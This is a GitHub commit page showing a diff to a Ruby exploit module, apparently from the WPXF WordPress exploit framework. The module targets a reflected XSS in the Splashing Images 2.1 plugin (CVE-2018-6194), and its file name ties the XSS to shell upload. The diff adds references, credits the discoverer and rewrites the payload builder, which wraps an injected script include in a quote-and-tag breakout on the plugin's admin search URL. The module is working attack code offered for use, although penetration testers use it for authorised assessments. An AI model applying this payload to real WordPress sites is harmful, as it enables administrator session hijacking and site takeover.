Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit bca8f39

Browse files
committed
Add references, author and remove hard coded encoding
1 parent 7507d03 commit bca8f39

File tree

1 file changed

+9
-4
lines changed

1 file changed

+9
-4
lines changed

modules/exploits/splashing_images_reflected_xss_shell_upload.rb

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -9,26 +9,31 @@ def initialize
99
update_info(
1010
name: 'Splashing Imagges 2.1 Reflected XSS',
1111
author: [
12+
'Nicolas Buzy-Debat', # Discovery
1213
'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
1314
],
1415
references: [
16+
['CVE', '2018-6194'],
1517
['WPVDB', '9016'],
16-
['URL', 'https://packetstormsecurity.com/files/146109/']
18+
['URL', 'http://seclists.org/fulldisclosure/2018/Jan/91']
1719
],
1820
date: 'Jan 26 2018'
1921
)
2022
end
2123

2224
def check
23-
readme = normalize_uri(wordpress_url_plugins, 'wp-splashing-images', 'README.txt')
24-
check_version_from_custom_file(readme, /Stable tag:\s(\d\.\d(\.\d)*)/, '2.1.1')
25+
check_plugin_version_from_readme('wp-splashing-images', '2.1.1')
2526
end
2627

2728
def vulnerable_url
2829
normalize_uri(wordpress_url_admin, 'upload.php')
2930
end
3031

32+
def url_payload
33+
url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>")
34+
end
35+
3136
def url_with_xss
32-
"#{vulnerable_url}?page=wp-splashing&search=%22%3E%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
37+
"#{vulnerable_url}?page=wp-splashing&search=#{url_payload}"
3338
end
3439
end

0 commit comments

Comments
 (0)